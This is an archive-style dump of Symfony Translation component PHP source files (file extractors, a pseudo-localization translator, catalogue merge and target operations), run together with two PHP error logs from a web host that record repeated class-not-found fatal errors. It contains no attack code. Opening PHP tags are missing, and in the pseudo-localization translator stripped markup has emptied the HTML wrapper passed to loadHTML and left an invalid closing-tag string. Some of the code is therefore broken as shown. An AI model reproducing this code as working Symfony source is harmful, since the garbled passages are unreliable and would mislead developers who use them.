Symfony\Component\Translation\Extractor; use Symfony\Component\Translation\Exception\InvalidArgumentException; /** * Base class used by classes that extract translation messages from files. * * @author Marcos D. Sánchez */ abstract class AbstractFileExtractor { protected function extractFiles(string|iterable $resource): iterable { if (is_iterable($resource)) { $files = []; foreach ($resource as $file) { if ($this->canBeExtracted($file)) { $files[] = $this->toSplFileInfo($file); } } } elseif (is_file($resource)) { $files = $this->canBeExtracted($resource) ? [$this->toSplFileInfo($resource)] : []; } else { $files = $this->extractFromDirectory($resource); } return $files; } private function toSplFileInfo(string $file): \SplFileInfo { return new \SplFileInfo($file); } /** * @throws InvalidArgumentException */ protected function isFile(string $file): bool { if (!is_file($file)) { throw new InvalidArgumentException(sprintf('The "%s" file does not exist.', $file)); } return true; } /** * @return bool */ abstract protected function canBeExtracted(string $file); /** * @return iterable */ abstract protected function extractFromDirectory(string|array $resource); } translation/Extractor/error_log000064400000013744151113512130012774 0ustar00[19-Nov-2025 01:14:48 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\Translation\Extractor\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpStringTokenParser.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpStringTokenParser.php on line 14 [19-Nov-2025 01:15:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\AbstractFileExtractor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpAstExtractor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpAstExtractor.php on line 27 [19-Nov-2025 01:16:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Extractor\ExtractorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/ChainExtractor.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/ChainExtractor.php on line 21 [19-Nov-2025 01:17:30 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\Translation\Extractor\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpExtractor.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpExtractor.php on line 14 [19-Nov-2025 09:05:32 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\Translation\Extractor\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpStringTokenParser.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpStringTokenParser.php on line 14 [19-Nov-2025 09:06:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\AbstractFileExtractor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpAstExtractor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpAstExtractor.php on line 27 [19-Nov-2025 09:08:16 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\Translation\Extractor\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpExtractor.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpExtractor.php on line 14 [19-Nov-2025 09:08:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Extractor\ExtractorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/ChainExtractor.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/ChainExtractor.php on line 21 [25-Nov-2025 02:55:46 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\Translation\Extractor\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpStringTokenParser.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpStringTokenParser.php on line 14 [25-Nov-2025 02:57:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Extractor\ExtractorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/ChainExtractor.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/ChainExtractor.php on line 21 [25-Nov-2025 03:00:05 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\Translation\Extractor\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpExtractor.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpExtractor.php on line 14 [25-Nov-2025 05:32:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\AbstractFileExtractor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpAstExtractor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpAstExtractor.php on line 27 [25-Nov-2025 23:06:37 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\Translation\Extractor\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpExtractor.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpExtractor.php on line 14 [26-Nov-2025 01:33:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\AbstractFileExtractor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpAstExtractor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpAstExtractor.php on line 27 [26-Nov-2025 01:34:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Extractor\ExtractorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/ChainExtractor.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/ChainExtractor.php on line 21 [26-Nov-2025 03:33:08 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\Translation\Extractor\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpStringTokenParser.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/PhpStringTokenParser.php on line 14 translation/Extractor/PhpAstExtractor.php000064400000005314151113512130014655 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor; use PhpParser\NodeTraverser; use PhpParser\NodeVisitor; use PhpParser\Parser; use PhpParser\ParserFactory; use Symfony\Component\Finder\Finder; use Symfony\Component\Translation\Extractor\Visitor\AbstractVisitor; use Symfony\Component\Translation\MessageCatalogue; /** * PhpAstExtractor extracts translation messages from a PHP AST. * * @author Mathieu Santostefano */ final class PhpAstExtractor extends AbstractFileExtractor implements ExtractorInterface { private Parser $parser; public function __construct( /** * @param iterable $visitors */ private readonly iterable $visitors, private string $prefix = '', ) { if (!class_exists(ParserFactory::class)) { throw new \LogicException(sprintf('You cannot use "%s" as the "nikic/php-parser" package is not installed. Try running "composer require nikic/php-parser".', static::class)); } $this->parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7); } public function extract(iterable|string $resource, MessageCatalogue $catalogue): void { foreach ($this->extractFiles($resource) as $file) { $traverser = new NodeTraverser(); /** @var AbstractVisitor&NodeVisitor $visitor */ foreach ($this->visitors as $visitor) { $visitor->initialize($catalogue, $file, $this->prefix); $traverser->addVisitor($visitor); } $nodes = $this->parser->parse(file_get_contents($file)); $traverser->traverse($nodes); } } public function setPrefix(string $prefix): void { $this->prefix = $prefix; } protected function canBeExtracted(string $file): bool { return 'php' === pathinfo($file, \PATHINFO_EXTENSION) && $this->isFile($file) && preg_match('/\bt\(|->trans\(|TranslatableMessage|Symfony\\\\Component\\\\Validator\\\\Constraints/i', file_get_contents($file)); } protected function extractFromDirectory(array|string $resource): iterable|Finder { if (!class_exists(Finder::class)) { throw new \LogicException(sprintf('You cannot use "%s" as the "symfony/finder" package is not installed. Try running "composer require symfony/finder".', static::class)); } return (new Finder())->files()->name('*.php')->in($resource); } } translation/Extractor/PhpExtractor.php000064400000022474151113512130014213 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor; trigger_deprecation('symfony/translation', '6.2', '"%s" is deprecated, use "%s" instead.', PhpExtractor::class, PhpAstExtractor::class); use Symfony\Component\Finder\Finder; use Symfony\Component\Translation\MessageCatalogue; /** * PhpExtractor extracts translation messages from a PHP template. * * @author Michel Salib * * @deprecated since Symfony 6.2, use the PhpAstExtractor instead */ class PhpExtractor extends AbstractFileExtractor implements ExtractorInterface { public const MESSAGE_TOKEN = 300; public const METHOD_ARGUMENTS_TOKEN = 1000; public const DOMAIN_TOKEN = 1001; /** * Prefix for new found message. */ private string $prefix = ''; /** * The sequence that captures translation messages. */ protected $sequences = [ [ '->', 'trans', '(', self::MESSAGE_TOKEN, ',', self::METHOD_ARGUMENTS_TOKEN, ',', self::DOMAIN_TOKEN, ], [ '->', 'trans', '(', self::MESSAGE_TOKEN, ], [ 'new', 'TranslatableMessage', '(', self::MESSAGE_TOKEN, ',', self::METHOD_ARGUMENTS_TOKEN, ',', self::DOMAIN_TOKEN, ], [ 'new', 'TranslatableMessage', '(', self::MESSAGE_TOKEN, ], [ 'new', '\\', 'Symfony', '\\', 'Component', '\\', 'Translation', '\\', 'TranslatableMessage', '(', self::MESSAGE_TOKEN, ',', self::METHOD_ARGUMENTS_TOKEN, ',', self::DOMAIN_TOKEN, ], [ 'new', '\Symfony\Component\Translation\TranslatableMessage', '(', self::MESSAGE_TOKEN, ',', self::METHOD_ARGUMENTS_TOKEN, ',', self::DOMAIN_TOKEN, ], [ 'new', '\\', 'Symfony', '\\', 'Component', '\\', 'Translation', '\\', 'TranslatableMessage', '(', self::MESSAGE_TOKEN, ], [ 'new', '\Symfony\Component\Translation\TranslatableMessage', '(', self::MESSAGE_TOKEN, ], [ 't', '(', self::MESSAGE_TOKEN, ',', self::METHOD_ARGUMENTS_TOKEN, ',', self::DOMAIN_TOKEN, ], [ 't', '(', self::MESSAGE_TOKEN, ], ]; /** * @return void */ public function extract(string|iterable $resource, MessageCatalogue $catalog) { $files = $this->extractFiles($resource); foreach ($files as $file) { $this->parseTokens(token_get_all(file_get_contents($file)), $catalog, $file); gc_mem_caches(); } } /** * @return void */ public function setPrefix(string $prefix) { $this->prefix = $prefix; } /** * Normalizes a token. */ protected function normalizeToken(mixed $token): ?string { if (isset($token[1]) && 'b"' !== $token) { return $token[1]; } return $token; } /** * Seeks to a non-whitespace token. */ private function seekToNextRelevantToken(\Iterator $tokenIterator): void { for (; $tokenIterator->valid(); $tokenIterator->next()) { $t = $tokenIterator->current(); if (\T_WHITESPACE !== $t[0]) { break; } } } private function skipMethodArgument(\Iterator $tokenIterator): void { $openBraces = 0; for (; $tokenIterator->valid(); $tokenIterator->next()) { $t = $tokenIterator->current(); if ('[' === $t[0] || '(' === $t[0]) { ++$openBraces; } if (']' === $t[0] || ')' === $t[0]) { --$openBraces; } if ((0 === $openBraces && ',' === $t[0]) || (-1 === $openBraces && ')' === $t[0])) { break; } } } /** * Extracts the message from the iterator while the tokens * match allowed message tokens. */ private function getValue(\Iterator $tokenIterator): string { $message = ''; $docToken = ''; $docPart = ''; for (; $tokenIterator->valid(); $tokenIterator->next()) { $t = $tokenIterator->current(); if ('.' === $t) { // Concatenate with next token continue; } if (!isset($t[1])) { break; } switch ($t[0]) { case \T_START_HEREDOC: $docToken = $t[1]; break; case \T_ENCAPSED_AND_WHITESPACE: case \T_CONSTANT_ENCAPSED_STRING: if ('' === $docToken) { $message .= PhpStringTokenParser::parse($t[1]); } else { $docPart = $t[1]; } break; case \T_END_HEREDOC: if ($indentation = strspn($t[1], ' ')) { $docPartWithLineBreaks = $docPart; $docPart = ''; foreach (preg_split('~(\r\n|\n|\r)~', $docPartWithLineBreaks, -1, \PREG_SPLIT_DELIM_CAPTURE) as $str) { if (\in_array($str, ["\r\n", "\n", "\r"], true)) { $docPart .= $str; } else { $docPart .= substr($str, $indentation); } } } $message .= PhpStringTokenParser::parseDocString($docToken, $docPart); $docToken = ''; $docPart = ''; break; case \T_WHITESPACE: break; default: break 2; } } return $message; } /** * Extracts trans message from PHP tokens. * * @return void */ protected function parseTokens(array $tokens, MessageCatalogue $catalog, string $filename) { $tokenIterator = new \ArrayIterator($tokens); for ($key = 0; $key < $tokenIterator->count(); ++$key) { foreach ($this->sequences as $sequence) { $message = ''; $domain = 'messages'; $tokenIterator->seek($key); foreach ($sequence as $sequenceKey => $item) { $this->seekToNextRelevantToken($tokenIterator); if ($this->normalizeToken($tokenIterator->current()) === $item) { $tokenIterator->next(); continue; } elseif (self::MESSAGE_TOKEN === $item) { $message = $this->getValue($tokenIterator); if (\count($sequence) === ($sequenceKey + 1)) { break; } } elseif (self::METHOD_ARGUMENTS_TOKEN === $item) { $this->skipMethodArgument($tokenIterator); } elseif (self::DOMAIN_TOKEN === $item) { $domainToken = $this->getValue($tokenIterator); if ('' !== $domainToken) { $domain = $domainToken; } break; } else { break; } } if ($message) { $catalog->set($message, $this->prefix.$message, $domain); $metadata = $catalog->getMetadata($message, $domain) ?? []; $normalizedFilename = preg_replace('{[\\\\/]+}', '/', $filename); $metadata['sources'][] = $normalizedFilename.':'.$tokens[$key][2]; $catalog->setMetadata($message, $metadata, $domain); break; } } } } /** * @throws \InvalidArgumentException */ protected function canBeExtracted(string $file): bool { return $this->isFile($file) && 'php' === pathinfo($file, \PATHINFO_EXTENSION); } protected function extractFromDirectory(string|array $directory): iterable { if (!class_exists(Finder::class)) { throw new \LogicException(sprintf('You cannot use "%s" as the "symfony/finder" package is not installed. Try running "composer require symfony/finder".', static::class)); } $finder = new Finder(); return $finder->files()->name('*.php')->in($directory); } } translation/PseudoLocalizationTranslator.php000064400000025546151113512130015502 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Contracts\Translation\TranslatorInterface; /** * This translator should only be used in a development environment. */ final class PseudoLocalizationTranslator implements TranslatorInterface { private const EXPANSION_CHARACTER = '~'; private TranslatorInterface $translator; private bool $accents; private float $expansionFactor; private bool $brackets; private bool $parseHTML; /** * @var string[] */ private array $localizableHTMLAttributes; /** * Available options: * * accents: * type: boolean * default: true * description: replace ASCII characters of the translated string with accented versions or similar characters * example: if true, "foo" => "ƒöö". * * * expansion_factor: * type: float * default: 1 * validation: it must be greater than or equal to 1 * description: expand the translated string by the given factor with spaces and tildes * example: if 2, "foo" => "~foo ~" * * * brackets: * type: boolean * default: true * description: wrap the translated string with brackets * example: if true, "foo" => "[foo]" * * * parse_html: * type: boolean * default: false * description: parse the translated string as HTML - looking for HTML tags has a performance impact but allows to preserve them from alterations - it also allows to compute the visible translated string length which is useful to correctly expand ot when it contains HTML * warning: unclosed tags are unsupported, they will be fixed (closed) by the parser - eg, "foo
bar" => "foo
bar
" * * * localizable_html_attributes: * type: string[] * default: [] * description: the list of HTML attributes whose values can be altered - it is only useful when the "parse_html" option is set to true * example: if ["title"], and with the "accents" option set to true, "Profile" => "Þŕöƒîļé" - if "title" was not in the "localizable_html_attributes" list, the title attribute data would be left unchanged. */ public function __construct(TranslatorInterface $translator, array $options = []) { $this->translator = $translator; $this->accents = $options['accents'] ?? true; if (1.0 > ($this->expansionFactor = $options['expansion_factor'] ?? 1.0)) { throw new \InvalidArgumentException('The expansion factor must be greater than or equal to 1.'); } $this->brackets = $options['brackets'] ?? true; $this->parseHTML = $options['parse_html'] ?? false; if ($this->parseHTML && !$this->accents && 1.0 === $this->expansionFactor) { $this->parseHTML = false; } $this->localizableHTMLAttributes = $options['localizable_html_attributes'] ?? []; } public function trans(string $id, array $parameters = [], string $domain = null, string $locale = null): string { $trans = ''; $visibleText = ''; foreach ($this->getParts($this->translator->trans($id, $parameters, $domain, $locale)) as [$visible, $localizable, $text]) { if ($visible) { $visibleText .= $text; } if (!$localizable) { $trans .= $text; continue; } $this->addAccents($trans, $text); } $this->expand($trans, $visibleText); $this->addBrackets($trans); return $trans; } public function getLocale(): string { return $this->translator->getLocale(); } private function getParts(string $originalTrans): array { if (!$this->parseHTML) { return [[true, true, $originalTrans]]; } $html = mb_encode_numericentity($originalTrans, [0x80, 0xFFFF, 0, 0xFFFF], mb_detect_encoding($originalTrans, null, true) ?: 'UTF-8'); $useInternalErrors = libxml_use_internal_errors(true); $dom = new \DOMDocument(); $dom->loadHTML(''.$html.''); libxml_clear_errors(); libxml_use_internal_errors($useInternalErrors); return $this->parseNode($dom->childNodes->item(1)->childNodes->item(0)->childNodes->item(0)); } private function parseNode(\DOMNode $node): array { $parts = []; foreach ($node->childNodes as $childNode) { if (!$childNode instanceof \DOMElement) { $parts[] = [true, true, $childNode->nodeValue]; continue; } $parts[] = [false, false, '<'.$childNode->tagName]; /** @var \DOMAttr $attribute */ foreach ($childNode->attributes as $attribute) { $parts[] = [false, false, ' '.$attribute->nodeName.'="']; $localizableAttribute = \in_array($attribute->nodeName, $this->localizableHTMLAttributes, true); foreach (preg_split('/(&(?:amp|quot|#039|lt|gt);+)/', htmlspecialchars($attribute->nodeValue, \ENT_QUOTES, 'UTF-8'), -1, \PREG_SPLIT_DELIM_CAPTURE) as $i => $match) { if ('' === $match) { continue; } $parts[] = [false, $localizableAttribute && 0 === $i % 2, $match]; } $parts[] = [false, false, '"']; } $parts[] = [false, false, '>']; $parts = array_merge($parts, $this->parseNode($childNode, $parts)); $parts[] = [false, false, 'tagName.'>']; } return $parts; } private function addAccents(string &$trans, string $text): void { $trans .= $this->accents ? strtr($text, [ ' ' => ' ', '!' => '¡', '"' => '″', '#' => '♯', '$' => '€', '%' => '‰', '&' => '⅋', '\'' => '´', '(' => '{', ')' => '}', '*' => '⁎', '+' => '⁺', ',' => '،', '-' => '‐', '.' => '·', '/' => '⁄', '0' => '⓪', '1' => '①', '2' => '②', '3' => '③', '4' => '④', '5' => '⑤', '6' => '⑥', '7' => '⑦', '8' => '⑧', '9' => '⑨', ':' => '∶', ';' => '⁏', '<' => '≤', '=' => '≂', '>' => '≥', '?' => '¿', '@' => '՞', 'A' => 'Å', 'B' => 'Ɓ', 'C' => 'Ç', 'D' => 'Ð', 'E' => 'É', 'F' => 'Ƒ', 'G' => 'Ĝ', 'H' => 'Ĥ', 'I' => 'Î', 'J' => 'Ĵ', 'K' => 'Ķ', 'L' => 'Ļ', 'M' => 'Ṁ', 'N' => 'Ñ', 'O' => 'Ö', 'P' => 'Þ', 'Q' => 'Ǫ', 'R' => 'Ŕ', 'S' => 'Š', 'T' => 'Ţ', 'U' => 'Û', 'V' => 'Ṽ', 'W' => 'Ŵ', 'X' => 'Ẋ', 'Y' => 'Ý', 'Z' => 'Ž', '[' => '⁅', '\\' => '∖', ']' => '⁆', '^' => '˄', '_' => '‿', '`' => '‵', 'a' => 'å', 'b' => 'ƀ', 'c' => 'ç', 'd' => 'ð', 'e' => 'é', 'f' => 'ƒ', 'g' => 'ĝ', 'h' => 'ĥ', 'i' => 'î', 'j' => 'ĵ', 'k' => 'ķ', 'l' => 'ļ', 'm' => 'ɱ', 'n' => 'ñ', 'o' => 'ö', 'p' => 'þ', 'q' => 'ǫ', 'r' => 'ŕ', 's' => 'š', 't' => 'ţ', 'u' => 'û', 'v' => 'ṽ', 'w' => 'ŵ', 'x' => 'ẋ', 'y' => 'ý', 'z' => 'ž', '{' => '(', '|' => '¦', '}' => ')', '~' => '˞', ]) : $text; } private function expand(string &$trans, string $visibleText): void { if (1.0 >= $this->expansionFactor) { return; } $visibleLength = $this->strlen($visibleText); $missingLength = (int) ceil($visibleLength * $this->expansionFactor) - $visibleLength; if ($this->brackets) { $missingLength -= 2; } if (0 >= $missingLength) { return; } $words = []; $wordsCount = 0; foreach (preg_split('/ +/', $visibleText, -1, \PREG_SPLIT_NO_EMPTY) as $word) { $wordLength = $this->strlen($word); if ($wordLength >= $missingLength) { continue; } if (!isset($words[$wordLength])) { $words[$wordLength] = 0; } ++$words[$wordLength]; ++$wordsCount; } if (!$words) { $trans .= 1 === $missingLength ? self::EXPANSION_CHARACTER : ' '.str_repeat(self::EXPANSION_CHARACTER, $missingLength - 1); return; } arsort($words, \SORT_NUMERIC); $longestWordLength = max(array_keys($words)); while (true) { $r = mt_rand(1, $wordsCount); foreach ($words as $length => $count) { $r -= $count; if ($r <= 0) { break; } } $trans .= ' '.str_repeat(self::EXPANSION_CHARACTER, $length); $missingLength -= $length + 1; if (0 === $missingLength) { return; } while ($longestWordLength >= $missingLength) { $wordsCount -= $words[$longestWordLength]; unset($words[$longestWordLength]); if (!$words) { $trans .= 1 === $missingLength ? self::EXPANSION_CHARACTER : ' '.str_repeat(self::EXPANSION_CHARACTER, $missingLength - 1); return; } $longestWordLength = max(array_keys($words)); } } } private function addBrackets(string &$trans): void { if (!$this->brackets) { return; } $trans = '['.$trans.']'; } private function strlen(string $s): int { return false === ($encoding = mb_detect_encoding($s, null, true)) ? \strlen($s) : mb_strlen($s, $encoding); } } translation/Catalogue/TargetOperation.php000064400000007233151113512130014624 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Catalogue; use Symfony\Component\Translation\MessageCatalogueInterface; /** * Target operation between two catalogues: * intersection = source ∩ target = {x: x ∈ source ∧ x ∈ target} * all = intersection ∪ (target ∖ intersection) = target * new = all ∖ source = {x: x ∈ target ∧ x ∉ source} * obsolete = source ∖ all = source ∖ target = {x: x ∈ source ∧ x ∉ target} * Basically, the result contains messages from the target catalogue. * * @author Michael Lee */ class TargetOperation extends AbstractOperation { /** * @return void */ protected function processDomain(string $domain) { $this->messages[$domain] = [ 'all' => [], 'new' => [], 'obsolete' => [], ]; $intlDomain = $domain.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX; foreach ($this->target->getCatalogueMetadata('', $domain) ?? [] as $key => $value) { if (null === $this->result->getCatalogueMetadata($key, $domain)) { $this->result->setCatalogueMetadata($key, $value, $domain); } } foreach ($this->target->getCatalogueMetadata('', $intlDomain) ?? [] as $key => $value) { if (null === $this->result->getCatalogueMetadata($key, $intlDomain)) { $this->result->setCatalogueMetadata($key, $value, $intlDomain); } } // For 'all' messages, the code can't be simplified as ``$this->messages[$domain]['all'] = $target->all($domain);``, // because doing so will drop messages like {x: x ∈ source ∧ x ∉ target.all ∧ x ∈ target.fallback} // // For 'new' messages, the code can't be simplified as ``array_diff_assoc($this->target->all($domain), $this->source->all($domain));`` // because doing so will not exclude messages like {x: x ∈ target ∧ x ∉ source.all ∧ x ∈ source.fallback} // // For 'obsolete' messages, the code can't be simplified as ``array_diff_assoc($this->source->all($domain), $this->target->all($domain))`` // because doing so will not exclude messages like {x: x ∈ source ∧ x ∉ target.all ∧ x ∈ target.fallback} foreach ($this->source->all($domain) as $id => $message) { if ($this->target->has($id, $domain)) { $this->messages[$domain]['all'][$id] = $message; $d = $this->source->defines($id, $intlDomain) ? $intlDomain : $domain; $this->result->add([$id => $message], $d); if (null !== $keyMetadata = $this->source->getMetadata($id, $d)) { $this->result->setMetadata($id, $keyMetadata, $d); } } else { $this->messages[$domain]['obsolete'][$id] = $message; } } foreach ($this->target->all($domain) as $id => $message) { if (!$this->source->has($id, $domain)) { $this->messages[$domain]['all'][$id] = $message; $this->messages[$domain]['new'][$id] = $message; $d = $this->target->defines($id, $intlDomain) ? $intlDomain : $domain; $this->result->add([$id => $message], $d); if (null !== $keyMetadata = $this->target->getMetadata($id, $d)) { $this->result->setMetadata($id, $keyMetadata, $d); } } } } } translation/Catalogue/MergeOperation.php000064400000005206151113512130014433 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Catalogue; use Symfony\Component\Translation\MessageCatalogueInterface; /** * Merge operation between two catalogues as follows: * all = source ∪ target = {x: x ∈ source ∨ x ∈ target} * new = all ∖ source = {x: x ∈ target ∧ x ∉ source} * obsolete = source ∖ all = {x: x ∈ source ∧ x ∉ source ∧ x ∉ target} = ∅ * Basically, the result contains messages from both catalogues. * * @author Jean-François Simon */ class MergeOperation extends AbstractOperation { /** * @return void */ protected function processDomain(string $domain) { $this->messages[$domain] = [ 'all' => [], 'new' => [], 'obsolete' => [], ]; $intlDomain = $domain.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX; foreach ($this->target->getCatalogueMetadata('', $domain) ?? [] as $key => $value) { if (null === $this->result->getCatalogueMetadata($key, $domain)) { $this->result->setCatalogueMetadata($key, $value, $domain); } } foreach ($this->target->getCatalogueMetadata('', $intlDomain) ?? [] as $key => $value) { if (null === $this->result->getCatalogueMetadata($key, $intlDomain)) { $this->result->setCatalogueMetadata($key, $value, $intlDomain); } } foreach ($this->source->all($domain) as $id => $message) { $this->messages[$domain]['all'][$id] = $message; $d = $this->source->defines($id, $intlDomain) ? $intlDomain : $domain; $this->result->add([$id => $message], $d); if (null !== $keyMetadata = $this->source->getMetadata($id, $d)) { $this->result->setMetadata($id, $keyMetadata, $d); } } foreach ($this->target->all($domain) as $id => $message) { if (!$this->source->has($id, $domain)) { $this->messages[$domain]['all'][$id] = $message; $this->messages[$domain]['new'][$id] = $message; $d = $this->target->defines($id, $intlDomain) ? $intlDomain : $domain; $this->result->add([$id => $message], $d); if (null !== $keyMetadata = $this->target->getMetadata($id, $d)) { $this->result->setMetadata($id, $keyMetadata, $d); } } } } } translation/Catalogue/OperationInterface.php000064400000003501151113512130015270 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Catalogue; use Symfony\Component\Translation\MessageCatalogueInterface; /** * Represents an operation on catalogue(s). * * An instance of this interface performs an operation on one or more catalogues and * stores intermediate and final results of the operation. * * The first catalogue in its argument(s) is called the 'source catalogue' or 'source' and * the following results are stored: * * Messages: also called 'all', are valid messages for the given domain after the operation is performed. * * New Messages: also called 'new' (new = all ∖ source = {x: x ∈ all ∧ x ∉ source}). * * Obsolete Messages: also called 'obsolete' (obsolete = source ∖ all = {x: x ∈ source ∧ x ∉ all}). * * Result: also called 'result', is the resulting catalogue for the given domain that holds the same messages as 'all'. * * @author Jean-François Simon */ interface OperationInterface { /** * Returns domains affected by operation. */ public function getDomains(): array; /** * Returns all valid messages ('all') after operation. */ public function getMessages(string $domain): array; /** * Returns new messages ('new') after operation. */ public function getNewMessages(string $domain): array; /** * Returns obsolete messages ('obsolete') after operation. */ public function getObsoleteMessages(string $domain): array; /** * Returns resulting catalogue ('result'). */ public function getResult(): MessageCatalogueInterface; } translation/Catalogue/error_log000064400000012776151113512130012731 0ustar00[19-Nov-2025 04:19:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php on line 25 [19-Nov-2025 04:20:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php on line 26 [19-Nov-2025 04:27:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Catalogue\OperationInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php on line 27 [19-Nov-2025 11:10:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php on line 25 [19-Nov-2025 11:21:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Catalogue\OperationInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php on line 27 [19-Nov-2025 11:22:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php on line 26 [19-Nov-2025 17:29:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php on line 25 [19-Nov-2025 17:29:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in 